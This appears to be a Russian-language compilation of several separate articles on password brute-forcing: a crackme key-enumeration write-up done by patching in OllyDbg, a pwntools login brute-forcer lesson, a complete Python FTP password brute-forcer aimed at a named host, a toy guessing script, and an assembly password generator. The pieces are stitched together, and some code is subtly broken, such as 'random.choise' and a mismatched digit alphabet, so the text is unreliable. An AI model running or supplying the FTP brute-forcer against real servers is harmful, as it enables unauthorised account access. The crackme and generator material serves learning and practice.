Время на прочтение
6 мин
Количество просмотров 8.4K
Вступление
У меня нет опыта в реверсе, есть некие базовые знания ассемблера, позволяющие сделать битхак условных переходов, чтобы данное приложение всегда выходило на success-path независимо от введенного значения. Но так как это слишком банально для того, чтобы быть опубликованным здесь, а до полного воспроизведения алгоритма проверки введенного ключа я еще не дорос, я решил попробовать метод брута, т.е. последовательного подбора ключей. Конечно же, я не могу сказать, что и этот способ отличается своей крутизной, но по крайней мере подробное описание этого способа не так часто встречается среди статей по реверсу.
Источник
Ссылка на оригинальный пост crackme#03.
В ветке, где опубликован этот крякми, пользователь ARCHANGEL опубликовал метод брута на C++, который действительно выдает правильный пароль для этого крякми. Он мог позволить себе написать брут на языке высокого уровня, так как смог воспроизвести алгоритм и нашел значение 0x23a06032, с которым сравнивается полученное crc.
Я же пока не научился так глубоко анализировать алгоритмы на asm-е, поэтому буду работать не отходя от кассы, используя алгоритм проверки в самом крякми как черный ящик.
Анализ условных переходов
Запускаем крякми и выключаем звук на компьютере (видимо именно этого добивался автор, добавив звуковое сопровождение).
Запускаю OllyDbg 2.01 c плагином OllyExt, в котором выставлены приведенные ниже настройки:
Этот плагин поможет избавиться от некоторых потенциальных приемов анти-отладки.
Аттачимся из Ольги к выполняемому процессу crackme#03.exe: File → Attach…
Далее пробуем ввести любое значение в поле ввода и без труда находим код, в котором оно обрабатывается. Сделать это можно выставив breakpoint-ы на потенциальные функции получения текста (в частности GetDlgItemTextA) или пролистать код исходного модуля — благо здесь он небольшой. Нажимаем кнопку Check.
Срабатывает breakpoint, жмем один раз F8 и смотрим листинг. Видим, что введенная нами строка хранится по адресу 004095BC. Также смотрим на инструкцию по адресу 0040101F. Она сравнивает длину введенной строки со значением 12 и в случае неравенства выбрасывает нас на 004010AF.
Далее, обратите внимание на инструкцию по адресу 00401028, которая сравнивает 12-ый байт введенного значения со значением 72, а это буква r в ASCII-кодировке. В случае неравенства снова выбрасывает нас на 004010AF. Что же это за адрес такой? Об этом чуть позже.
Теперь обратим внимание на инструкции в диапазоне 00401031 — 0040104C. Покурив справочник команд ассемблера по командам repne и scas, а также потрассировав выделенную область кода, приходим к выводу, что aehnprwy — это допустимый алфавит требуемого ключа.
Теперь посмотрим, что же у нас расположено по адресу 004010AF. Там вывод сообщения о неудачном вводе пароля.
Итак, подведем итоги первичного анализа:
1) Ключ должен состоять из 12 символов;
2) Последний символ ключа должен быть r;
3) Символы ключа должны принадлежать алфавиту aehnprwy.
Брутфорс
Приступим к реализации брут-метода. Реализуем его сначала на концептуальном уровне. Можно на блок-схеме, можно на языке высокого уровня. Я реализовал его прототип на C++. Для понимания дальнейшего материала необходимо переварить код под спойлером.
Скрытый текст
#include <stdio.h>
#include <string.h>
const char *Alphabet = "aeyhpnwr";
int Password_len = 12;
int CheckPassword(char pass[]) // функция проверки введенного пароля.
{
if (strcmp(pass, "aaaaaaahaahr") == 0) // проверка на заглушку
return 0;
return 1;
}
int main()
{
int Alphabet_len = strlen(Alphabet);
char* CodeArray = new char[Password_len + 1];
char* Password = new char[Password_len + 1];
int n;
// Инициализируем пароль, чтобы все символы были равны первому (т.е. нулевому) символу алфавита
Password[Password_len] = 0;
for (int i = 0; i < Password_len; i++)
{
CodeArray[i] = 0;
Password[i] = Alphabet[CodeArray[i]];
}
// последний символ всегда r
Password[Password_len - 1] = 'r';
while (true)
{
//printf("nCurrent pass = %s", Password);
if (CheckPassword(Password) == 0)
{
printf("nRight Password = %sn", Password);
break;
}
n = Password_len - 2;
while (n >= 0)
{
CodeArray[n]++;
if (CodeArray[n] >= Alphabet_len)
{
CodeArray[n] = 0;
Password[n] = Alphabet[0];
n--;
continue;
}
Password[n] = Alphabet[CodeArray[n]];
break;
}
}
delete[] CodeArray;
delete[] Password;
}
Основные этапы:
1) Инициализация ключа (пароля) начальным значением.
2) Проверка ключа.
3) Если ключ неверен, то генерим следующий ключ и переходим к шагу 2. Если ключ верный, переходим к шагу 4. Если мы перебрали все ключи и ни один из них не подошел, переходим к шагу 5.
4) Crackme взломан.
5) Crackme не взломан. Где-то мы ошиблись.
Инициализация ключа
Программа хранит и обращается к ключу по адресу 004095BC — там и будем его инициализировать. Алфавит расположен по адресу 00409071.
004095CC — это адрес памяти, где мы будем хранить наш массив CodeArray.
Для инициализации ключа находим неиспользуемую область секции кода и вставляем туда наши инструкции. Я выбрал адрес 00404122.
Чтобы собственно эта инициализация выполнилась, идем к тому месту, где вызывается GetDlgItemTextA, аккуратно заменяем ее вызов на безусловный переход к нашему коду по адресу 00404122, а предшествующие ей push-команды заменяем nop-ами. Все делаем аккуратно, чтобы адрес команды CMP EAX, 0C остался прежним: 0040101F.
На рисунке ниже представлен сам код инициализации. По ее окончанию переходим к алгоритму валидации ключа в результате безусловного перехода на 0040101F.
Скрытый текст
Обнулить массив CodeArray, состоящего из 12 однобайтовых значений, можно в 3 итерации по 4 байта за итерацию.
00404122 B9 03000000 MOV ECX,3
00404127 BA CC954000 MOV EDX,004095CC ; адрес массива CodeArray
0040412C C7448A FC 000 MOV DWORD PTR DS:[ECX*4+EDX-4],0
00404134 E2 F6 LOOP SHORT 0040412C
Далее выполняем проставление первого (т.е. нулевого) символа алфавита для каждого байта строки по адресу 004095BC
for (int i = 0; i < Password_len; i++)
{
Password[i] = Alphabet[CodeArray[i]];
}
00404136 BB BC954000 MOV EBX,004095BC ; Адрес введенного ключа, к которому обращается crackme
0040413B B9 0C000000 MOV ECX,0C
00404140 31C0 XOR EAX,EAX
00404142 8A4411 FF MOV AL,BYTE PTR DS:[EDX+ECX-1]
00404146 8A80 71904000 MOV AL,BYTE PTR DS:[EAX+409071] ; 409071 - адрес алфавита
0040414C 884419 FF MOV BYTE PTR DS:[EBX+ECX-1],AL
00404150 E2 F0 LOOP SHORT 00404142
00404152 C643 0B 72 MOV BYTE PTR DS:[EBX+0B],72 ; Последний символ всегда r
00404156 C643 0C 00 MOV BYTE PTR DS:[EBX+0C],0 ; Закрываем строку нулевым символом
0040415A B8 0C000000 MOV EAX,0C ; Обозначаем длину ключа как 12
0040415F ^ E9 BFCEFFFF JMP 0040101F ; Возврат к коду валидации ключа
Получение следующего значения ключа
Теперь нам нужно реализовать код получения следующего значения ключа. Выбираем для этого адрес 00404165 (сразу после кода инициализации) и делаем переход на него с того места, где программа обзывает нас ламерами.
Модифицируем инструкции по адресам 004010AF и 004010B1.
Ну и по адресу 00404165 реализуем код получения нового ключа.
Скрытый текст
00404165 B9 0B000000 MOV ECX,0B ; Количество символов ключа, которые подлежат изменению
0040416A BA CC954000 MOV EDX,004095CC ; Адрес массива CodeArray
0040416F BB BC954000 MOV EBX,004095BC ; Адрес введенного ключа, к которому обращается crackme
00404174 31C0 XOR EAX,EAX
00404176 FE4411 FF INC BYTE PTR DS:[EDX+ECX-1] ; Получаем следующий порядковый номер символа в алфавите
0040417A 807C11 FF 08 CMP BYTE PTR DS:[EDX+ECX-1],8 ; Проверяем, не вышли ли за пределы алфавита
0040417F 7D 15 JGE SHORT 00404196
00404181 8A4411 FF MOV AL,BYTE PTR DS:[EDX+ECX-1] ; Если не вышли, грузим номер в AL
00404185 8A80 71904000 MOV AL,BYTE PTR DS:[EAX+409071] ; Получаем символ из алфавита по порядковому номеру. 409071 - адрес алфавита
0040418B 884419 FF MOV BYTE PTR DS:[EBX+ECX-1],AL ; Записываем букву в соотв-ий символ ключа
0040418F B8 0C000000 MOV EAX,0C ; Обозначаем длину ключа как 12
00404194 ^ EB C9 JMP SHORT 0040415F ; Прыгаем на код валидации ключа
00404196 83F9 01 CMP ECX,1 ; Если вышли за пределы алфавита, смотрим, не первый ли это символ ключа
00404199 7F 02 JG SHORT 0040419D ;
0040419B CD 03 INT 3 ; Перебор закончен, правильный ключ не найден
0040419D C64411 FF 00 MOV BYTE PTR DS:[EDX+ECX-1],0 ; Если ecx (i) > 1, CodeArray[i] = 0;
004041A2 A0 71904000 MOV AL,BYTE PTR DS:[409071] ; В AL записываем первый (нулевой) символ алфавита. 409071 - адрес алфавита
004041A7 884419 FF MOV BYTE PTR DS:[EBX+ECX-1],AL ; Записываем букву в соотв-ий символ ключа
004041AB 49 DEC ECX ; Переходим к след. элементу
004041AC ^ EB C6 JMP SHORT 00404174 ; Повторяем итерацию для следующего элемента
Запуск
Жмем кнопку Check и идем пить чай. Черт, и чай-то давно уж вскипел, придется кипятить заново.
Через некоторое время получаем:
Смотрим, что же у нас по адресу 004095BC
happynewyear — это и есть искомый ключ.
Python для хакера. Урок №5. Пишем брутфорсер формы авторизации.
https://telete.in/hacker_sanctuaryДанный пост является продолжением рубрики «Python для хакера», предыдущие посты доступны по следующим ссылкам:
Урок №1 — telegra.ph, tgraph.io
Урок №2 — telegra.ph, tgraph.io
Урок №3 — telegra.ph, tgraph.io
Урок №4 — telegra.ph, tgraph.io
Советуем для начала ознакомиться с предыдущими уроками, чтобы понимать материал из данного и следующих уроков.
Урок 5. Пишем брутфорсер формы авторизации.
Данный урок будет посвящён созданию скрипта для брута формы авторизации. Брутить будем форму авторизации, созданную в сервере, который был разработан на прошлом уроке.
Теория.
Использовать мы будем библиотеку pwntools (про неё есть вводный урок под номером 3). Также нам понадобятся словари, возьмём топ-1000 логинов и паролей.
Подразумевается, что мы не знаем не логинов не паролей. Для брута чистых TCP приложений (например FTP-серверов) — это достаточно реальное предположение.
Да, для брута есть специальные инструменты, которые, скорее всего, будут работать гораздо быстрее чем наш скрипт, но мы не ставим перед собой задачу разработки готового инструмента, а просто тренируемся и учимся, для того, чтобы понимать, концепции, лежащие в основе мощных инструментов.
Практика.
Итак, приступим. Нам необходимо запустить написанный нами в прошлом уроке сервер (если вы ещё не читали этот урок, то обязательно прочтите), полный код сервера можно найти на gihube канала (ссылка).
Запустим его на машине, на которой не будет запускаться наш скрипт. Можно запустить на основной машине и запускать скрипт с виртуалки, или наоборот.
Запуск сервера мы опустим, т.к. это показывалось в прошлом уроке. Также, опустим и объяснение работы сервера.
Для начала найдём словари с логинами и паролями. Для этого можно использовать очень хороший репозиторий на github’e в котором есть словари паролей и логинов, при чём разнообразных и в большом количестве (ссылка).
Для имён пользователя возьмём словарь — ссылка (вы можете взять другой)
Для паролей словарь — ссылка.
Скачиваем эти словари и помещаем их в одну папку с нашим скриптом.
Начнём писать код.
Сделаем необходимые импорты.
Для начала нам нужно написать достаточно стандартный код для сетевого клиента, а именно принятие аргументов при запуске из командной строки.
Здесь всё довольно просто. Есть 4 аргумента: хост, порт, файл с логинами, файл с паролями. Здесь всё тривиально и уже рассматривалось не один раз.
Теперь нам нужно бы получить все наши логины и пароли в виде списка (обратите внимание, что данная техника не очень хороша, если вы используете большой словарь, т.к. при считывании сразу всех значений, они будут хранится в памяти и занимать много места, но в нашем случае они будут занимать не так много). Для этого напишем короткую функцию ParseFile, которая вернёт нам список из строк, которые есть в файле.
Код достаточно простой, открываем файл, считываем всё из файла и разбиваем считанное по разделителю в виде символа переноса строки (то есть получаем отдельные строчки), закрываем файл, возвращаем полученный список. Если вы не поняли, что произошло, советую посмотреть про функции работы с файлами и функцию split.
Теперь получим наши списки и сохраним в отдельные переменные.
Отлично, пришло время подключаться и перебирать логины.
Итак мы начинаем цикл по списку из имён пользователей, т.к. при неудачном вводе сервер разрывает соединение, на каждой итерации нам надо устанавливать новое подключение. После установки подключения мы считываем данные, пока не встретим приглашения ввода имени пользователя (строка 28), после чего мы отправляем имя пользователя на сервер и ожидаем ответ, если в ответе содержится сообщение о том, что имя неверное, мы просто заканчиваем текущую итерацию и закрываем наш клиент. Если такое сообщение не пришло, то мы считаем, что был найден верный логин и заканчиваем данный цикл с выводом верного логина на экран. Запустим наш код и проверим его.
Отлично, мы нашли имя пользователя. Чтобы убрать сообщения об открытых и закрытых соединениях, можно дописать слово SILENT в конце строки запуска скрипта.
Отлично, теперь напишем код для брута пароля. При этом будем использовать логин найденный в ходе первого цикла, то есть не будем запускать скрипт два раза: для нахождения логина, для нахождения пароля, а будем запускать всего один раз для нахождения всего.
Итак, код делает практически тоже самое, что и для имени пользователя, вы можете их сравнить. Переменная valid_username была добавлена и теперь код для нахождения имени пользователя выглядит так.
Просто сохраняем верное имя пользователя в отдельной переменной, чтобы потом её использовать в поиске пароля.
Запустим всё что мы написали.
Отлично, мы нашли логин и пароль.
Весь исходный код скрипта доступен на гитхабе канала по данной ссылке.
Данный урок подходит к концу. В следующих уроках планируется рассмотреть создание скриптов для веб-приложений, то есть простых веб-серверов и клиентов. Если у вас есть идеи, то пишите их в бота-ответчика.
На чтение 4 мин Опубликовано 23.09.2020
Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python.
Полный код состоит всего из 20 строк, и инструмент достаточно прост.
Содержание
- Создайте новый файл Python
- Импортируйте FTPlib
- Список паролей
- Цикл
- Запуск
- Конечный результат
Создайте новый файл Python
Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.
Импортируйте FTPlib
FTPlib – это стандартная библиотека, используйте ее.
Запишите следующий фрагмент кода в свой файл Python.
from ftplib import FTP
Список паролей
Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).
Большие списки паролей для брутфорса | скачать бесплатно
🦴 Ahadu — Генератор списка паролей
Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.
Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.
password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru"
Цикл
Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.
Добавьте следующую строку кода:
def start(): setx = [] f = open(password_list) setx = f.readlines()
Продолжаем добавлять цикл и шаги входа в систему:
for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password)
Запуск
Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.
start()
Конечный результат
from ftplib import FTP #options password_list = "my_password_list.txt" username = "anonymous" target = "ftp.kakoitosite.ru" def start(): setx = [] f = open(password_list) setx = f.readlines() for password in setx: password = password.strip() try: ftp = FTP(target) ftp.login(user=username, passwd = password) print("Success:",str(password)) break except Exception as e: print("Fail:",str(e)," [X]-> ",password) start()
¯_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Кодинг
49,276
Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.
Еще по теме: Взлом WiFi на Python
Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.
Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.
Далее, надо определиться с переменными. Нам нужны 6.
correctPassword = «1234» # Вводим пароль, который нужно забрутить wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться password = «» # В эту переменную будет записываться сгенерированный пароль, и, если он ложный, пойдет в wrongPassword length = 4 # Длина пароля. Эта переменная нужна будет в будущем chars = «1234567890» # Символы, из которых будет генерироваться пароль. run = True # Думаю, не стоит объяснять |
Вот и все необходимые переменные.
Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password
Переходим к самому интересному — генерации и перебору паролей.
Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.
for i in range(length): password += random.choise(chars) |
Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.
if password not in wrongPasswords: print(password) if password != correctPassword: wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Вот и все! Все работает!
Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.
Весь код полностью:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import random correctPassword = «1234» wrongPasswords = [] password = «» length = 4 chars = «12e4567890» run = True while run: password = «» for i in range(length): password += random.choise(chars) if password not in wrongPasswords: if password != correctPassword: print(password) wrongPasswords.append(password) else: run = False break print(password + » is correct») |
Еще по теме: Простой кейлоггер на Python
ВКонтакте
OK
Telegram
Viber
Чужая информация всегда привлекала к себе внимание, а когда к ней нет прямого доступа, возникает желание прибрести этот доступ контробандным путём. Если социальная инженерия и прочая игра на чувствах не срабатывает, остаётся идти на таран и использовать метод «грубой силы», что в дословном переводе на инглиш звучит как «Brute-Force». За периметром конкретной задачи брутфорс лишён смысла – каждый случай требует индивидуального подхода. А потому предлагаю ознакомиться с алгоритмами его реализации на программном уровне, чтобы самостоятельно решать проблемы по мере их поступления.
Оглавление:
1. Общие сведения о криптологии;
2. Практика – генератор паролей;
3. Практика – брутфорс паролей;
4. Варианты оптимизации кода;
• выбор по индексу,
• распределение по потокам Thread.
5. Заключение.
————————————————-
1. Криптология – общие сведения
Разработкой методов крипта и декрипта информации занимается «криптология», которая пошла по двум направлениям – криптография и криптоанализ. Первая (криптография) – это наука о методах обеспечения конфиденциальности, т.е. изучает криптосистемы и способы шифрования данных. Криптоанализ-же занимается вопросами оценки слабых сторон отдельно взятых методов защиты. Соответственно два эти направления являются враждующими сторонами, между которыми идёт не шуточная война. В рамках представленного на ваш суд материала, нас будет интересовать только криптоанализ в виде атаки на шифр, а его обобщённую схему раскрывает рисунок ниже:
Как видим, вариантов у взломщиков много, на все случаи жизни. Это довольно объёмная тема, и попытки охватить сразу весь материал ни к чему хорошему не приведут. Поэтому будем последовательны и рассмотрим только один из методов атак, а заинтересованный читать всегда может почерпнуть базовые сведения о криптоанализе в соответствующей литературе, или например в
Ссылка скрыта от гостей
. Чтобы понять, о чём пойдёт речь конкретно в этом треде, рассмотрим определение атак, которые выделены на рисунке выше коричневым цветом.
1.1. Атака с известным шифротекстом – «Сiphertext only attack».
В атаках этого класса предполагается, что взломщик знает алгоритм шифрования, но не знает секретный пароль. Это самый распространённый вид атак, внутри которых можно пойти по одной из следующих трёх веток:
1. Перебор ключей по словарю. Способ требует наличия «файла-словаря» – этакой базы, со списком всевозможных паролей. Словари лежат в свободном доступе, например
Ссылка скрыта от гостей
. Встречаются базы размером 30 и более гигаБайт, которые обычный блокнот мастдая уже не в силах открыть и нужно искать подходящий софт. В атаках по словарю, мы берём из него очередной пароль и подсовываем его жертве. Если облом, то парсим следующую запись и т.д. Если пароль криптостойкий и его нет в словаре, то данный подход вообще не даст результата, хотя в зависимости от размера используемой базы, процесс перебора может длиться довольно долго.
2. Полный перебор ключей – классический «брутфорс», или слепая атака в лоб. Отличается от метода со-словарём тем, что пароли в явном виде уже нигде не хранятся – их порождает заброшенная в цикл матка. В осуществляющем брут софте должна быть предусмотрена опция, которая позволяла-бы выбирать «алфавит» для паролей. На практике применяются следующие типы алфавитов: (1)только цифры 0..9, (2)только заглавные символы «A..Z», (3)пароли только из прописных символов «a..z», (4)гремучая смесь всех печатных символов, включая знаки препинания. Если брутить пароли с полным алфавитом(4), то перебор обязательно даст положительный результат и это придаёт надежды. Однако затраченное на поиск время может в несколько раз превысить возраст вселенной.
3. Частотный криптоанализ. Метод основывается на частоте повторения букв в пароле. Например, если пароль представляет собой осмысленное слово, то в англоязычных текстах много букв «e», и артиклей «the». Частотный криптоанализ – это любая атака, которая использует данный факт. Даже если пароль закодирован (к примеру подстановочным шифром Цезаря), то по частоте встречающихся символов можно сделать вывод, что это именно символ(е).
Таким образом, даже внутри одного класса атак имеем три совершенно разных подхода, мы-же остановимся только на втором варианте – брутфорс. По своей природе, он подразумевает попытку взлома паролей методом циклического перебора до полного совпадения. Если в качестве алфавита был выбран верхний регистр «A..Z», то на каждой итерации цикла к символу «А» прибавляем 1 и получаем «В». После того-как дойдём до символа «Z» (26 итераций = длина алфавита), то добавляем к паролю второй символ и получаем «АА». Теперь продолжаем перебирать первый символ, пока не получим «ZA», после чего увеличиваем уже второй символ пароля «АВ» и т.д.. На каждой итерации цикла, текущий пароль забрасывается удочкой программе-жертве и если она его не проглотила, значит подставляем следующий, ..и так до второго пришествия архангела-Михаила.
При таких раскладах, противостоять бруту довольно просто – достаточно ввести ограничение на количество попыток-ввода неверного пароля (допустим 3-раза), как перебор отваливается сам по себе. Реализовать это можно проверкой хорошо спрятанного в нёдрах системы счётчика, или установкой аппаратного бряка на обращение к памяти (SEH + отладочные регистры DR0-7). Нужно помнить, что в современных реалиях программы для брутфорса паролей предлагают лишь теоретическое решение проблемы, без каких-либо гарантий по временной шкале. Прибегать к нему стоит лишь в том случае, когда основа пароля известна (например, это какое-то число или дата), и необходимо подобрать к ней комбинацию из дополнительных нескольких цифр/букв.
2. Практика – генератор паролей
Чтобы опробовать свои силы в бруте нам нужен пароль, ..а если готовых паролей нету, то напишем примитивный их генератор. Гугл предлагает нам различные варианты, а мы пополним этот зоопарк ещё одним «зверьком». В масштабах этой задачи, нужно будет сформировать три типа символьных алфавитов, из которых рандомом будем выбирать числа и буквы для пассвордов. С алфавитом проблем нет – его мы честно скомуниздим у кодировок «Base64/32/16», а рандом будем использовать как индекс (порядковый номер), для выборки символов из этих алфавитов. Base64 описывает стандарт
Ссылка скрыта от гостей
, в котором приводится полный его паспорт, в том числе и задействованные в кодировках символы:
Посмотрите на таблицу символов ASCII – все числа и буквы в ней собраны последовательно с инкрементом +1. К примеру символ верхнего регистра «А» будет лежать в памяти нашей программы как значение 41h
, а все буквы нижнего регистра начинаются с 61h
, т.е. разница между ними =20h
или всего один бит(5). Символы всех чисел 0..9 отличаются от своего-же 10-тичного значения ровно на 30h
, т.е. «1»=31h, «2»=32h и т.д. Это упрощает их перевод из верхнего в нижний регистр, или из строки в число.
Синтаксис ассемблера FASM имеет интересную директиву «%». Если поместить её внутрь цикла, она возвращает текущий счётчик. Так-же, в наличии имеется директива «times», которая повторяет одну инструкцию указанное кол-во раз. За ней должно следовать значение счётчика, и инструкция, которую нужно повторять (в нашем случае символ). Например, такая конструкция запишет в память все символы кодировки «Base64». Поскольку счётчик(%) начинает считать с единицы, делаем -1:
C-подобный:
Base64: ;//<----------------- Метка для обращения к массиву алфавита
times 26 db % +('A'-1) ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26 db % +('a'-1) ;// abcdefghijklmnopqrstuvwxyz
times 10 db % +('0'-1) ;// 0123456789
db '+/' ;// +/
Будем считать, что забросили алфавиты в память, теперь нужно выбирать из них псевдо-случайные значения для пароля. Как видим, каждый из символов имеет свою позицию в дампе – это «индекс элемента» в массиве. Например по индексу(3) от начала лежит символ «D» со-значением 44h
и т.д. (отсчёт с нуля). Соответственно если мы сгенерим рандомный байт, то можем использовать его в качестве индекса для выборки случайного символа из общего алфавита. Только этот рандом обязательно должен быть в диапазоне 0..63, чтобы индекс не вылетал за пределы алфавита.
Если юзер захочет в генераторе паролей использовать символы кодировки «Base32», то и рандом должен быть в пределах 0..31. На практике, загнать значение в диапазон можно взятием остатка от деления. В данном случае, «потолки» всех алфавитов у нас кратны двум: 16,32,64, поэтому находить остаток от деления можно логикой, как в примере ниже (случайное значение лежит в регистре AL):
C-подобный:
and al,63 ;// AL = число в диапазоне 0..63
and al,31 ;// AL = число в диапазоне 0..31
and al,15 ;// AL = число в диапазоне 0..15
Теперь в AL лежит число, значение которого мы должны использовать в качестве индекса в алфавите. Для этого, воспользуемся инструкцией ассемблера XLAT
с таким описанием от Intel. Преимущество её в том, что она 1-байтная и процессор тратит на её исполнение всего 2 своих такта. За это время, инструкция «убивает сразу два зайца» по такой схеме:
XLAT – Table Look-up Translation (opcode = D7h)
————————————————
Находит запись байта в таблице в памяти, используя содержимое регистра AL в качестве индекса в таблице. Затем копирует содержимое записи таблицы обратно в регистр AL. Индекс в AL рассматривается как целое число без знака = 127.
Другими словами, эта инструкция требует, чтобы в регистре EBX
лежал указатель на массив в памяти, а в регистр AL
нужно поместить некоторый байт без-знака. Теперь XLAT
берёт значение из AL
и использует его как порядковый номер элемента в массиве EBX
. На заключительном этапе, найденный элемент копируется обратно в регистр AL
перезаписывая находящийся в нём индекс. На выходе в том-же AL
получаем результат в виде символа из алфавита. Для нашего случая как-раз то, что доктор прописал, ..и всё это за каких-то пару тактов процессора.
Ну и в заключении о самом рандоме..
Сгенерить его можно различными путями – это и счётчик тактов процессора RDTSC
, и текущие милли-секунды системного времени, и.. список можно продолжать бесконечно. Но без дополнительных танцев с бубном все эти варианты возвращают лишь 2, 4 или 8-байтный рандом, а ведь для индекса нам нужно число в диапазоне 0..16..32..64. Так-что мы пойдём другим путём, и специально предназначенной для крипта функцией CryptGenRandom() сгенерим сразу массив случайных чисел требуемой длинны – благо функция это позволяет. Теперь из этого массива будем читать по 1-байту, что и позволит решить проблему. В конечном итоге, прожку для генерации случайных паролей можно оформить например так:
C-подобный:
format pe console
include 'win32ax.inc'
entry start
;//--------
.data
Base64: ;//<----------------- Алфавит 64-символов
times 26 db % +('A'-1) ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26 db % +('a'-1) ;// abcdefghijklmnopqrstuvwxyz
times 10 db % +('0'-1) ;// 0123456789
db '+/' ;// +/
Base32: ;//<----------------- Алфавит 32-символов
times 26 db % +('A'-1) ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 6 db % +('2'-1) ;// 234567
Base16: ;//<----------------- Алфавит 16-символов
times 10 db % +('0'-1) ;// 0123456789
times 6 db % +('A'-1) ;// ABCDEF
title db '*** Password Gen v0.1 ***',0
alphabet dd 0 ;// будет адресом алфавита,
alphaLen dd 0 ;// ..а здесь его длина.
passLen dd 0 ;// длина пароля
passCount dd 0 ;// кол-во паролей для генерации
hcrypt dd 0 ;// дескриптор крипто-провайдера "Win32Crypt"
buff rb 64 ;// буфер для рандома (макс.Base64)
passStr db 0 ;// буфер для строки с нашим паролем
;//--------
.code
start: invoke SetConsoleTitle,title
;//----- Позволяем юзеру выбрать алфавит
cinvoke printf,<10,
' *** Alphabet*** : 1=Base64, 2=Base32, 3=Base16',10,
' Choise number...: ',0>
cinvoke scanf,<'%d',0>,alphaLen
;//----- Настраиваем переменные под выбранный юзером алфавит
cmp [alphaLen],1 ;// проверить ввод на 1
jne @f ;// на нижнюю метку, если нет..
mov [alphabet],Base64 ;// иначе: сохраняем в переменной адрес "Base64"
mov [alphaLen],64 ;// ..и следом его длину.
jmp @getRandom ;// уйти на генератор!
@@: cmp [alphaLen],2
jne @f
mov [alphabet],Base32
mov [alphaLen],32
jmp @getRandom
@@: cmp [alphaLen],3
jne @f
mov [alphabet],Base16
mov [alphaLen],16
jmp @getRandom
@@: cinvoke printf,<' Error alphabet num!!!',0> ;// Ошибка ввода!!!
jmp @exit
@getRandom:
;//----- Запрашиваем у юзера необходимую длину пароля
cinvoke printf,<' Password length.: ',0>
cinvoke scanf,<'%d',0>,passLen
;//----- Запрашиваем у юзера кол-во паролей для генерации
cinvoke printf,<' Password counter: ',0>
cinvoke scanf,<'%d',0>,passCount
;//====== ГЕНЕРАТОР ПАРОЛЕЙ ===================================
;// Сначала выбираем системного крипто-провайдера = 0xf0000000,
;// после чего генерим рандом по длине пароля, в приёмный буфер
invoke CryptAcquireContext,hcrypt,0,0,1,0xf0000000
@cycle: invoke CryptGenRandom,[hcrypt],[passLen],buff
mov esi,buff ;// ESI = источник байт-рандомов
mov edi,passStr ;// EDI = приёмник выбранных из алфавита символов
mov ecx,[passLen] ;// ECX = длина пароля для цикла LOOP
mov ebx,[alphabet] ;// EBX = адрес выбранного юзером алфавита для XLAT
mov edx,[alphaLen] ;// EDX = длина алфавита 16/32/64,
dec edx ;// ..-1 для получения остатка логикой AND.
@@: lodsb ;// AL = очередной байт-рандом из ESI (esi+1)
and al,dl ;// загнать рандом в диапазон (остаток от длины)
xlatb ;// взять в AL символ из EBX, по индексу в AL
stosb ;// сохранить AL в по адресу в EDI (edi+1)
loop @b ;// повторить цикл "@@" ECX-раз..
cinvoke printf,<10,' Generate pass...: %s',0>,passStr ;// пасс на консоль!
dec [passCount] ;// уменьшить счётчик генератора
jnz @cycle ;// повторить внешний цикл, если счётчик не нуль..
;//----- Освободить системного крипто-провайдера
invoke CryptReleaseContext,[hcrypt],0
@exit: cinvoke scanf,<'%s',0>,buff
cinvoke exit,0
;//--------
section '.idata' import data readable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'
3. Практика – программа для брутфорса паролей
Не последнюю роль в подборе паролей играет «атака по-словарю». Но процент попадания в орфографический словарь представленных выше паролей ничтожно мал, ведь это не осмысленные слова, а скорее напоминают помещённые в миксер предложения. В таких случаях, брут по-словарю абсолютно не эффективен и заранее обречён на провал. Поэтому приготовившись к длительной осаде бастиона, приходится подбирать пароль последовательным перебором всех возможных вариантов, начиная с первого и до последнего его символа. Рассмотрим, как это можно осуществить на практике.
Авансом скажу, что за разумное время (примерно месяц), брутфорсом на одной машине можно подобрать пароли длинной не более 8-ми символов. На подбор представленных выше 16-значных паролей могут уйти года! Но если учесть, что производительность современных компьютеров сейчас на высоте, то «лобовой перебор» из утопии превратился в реальность – это не брут на третьих пеньках. А если распараллелить вычисления по всем ядрам CPU и собрать в кластер несколько таких машин (что собственно и делают хакерские группировки), то время брутфорса можно уменьшить в тысячи раз.
Ниже приводится не оптимизированный исходный код программы-брутфорсера.
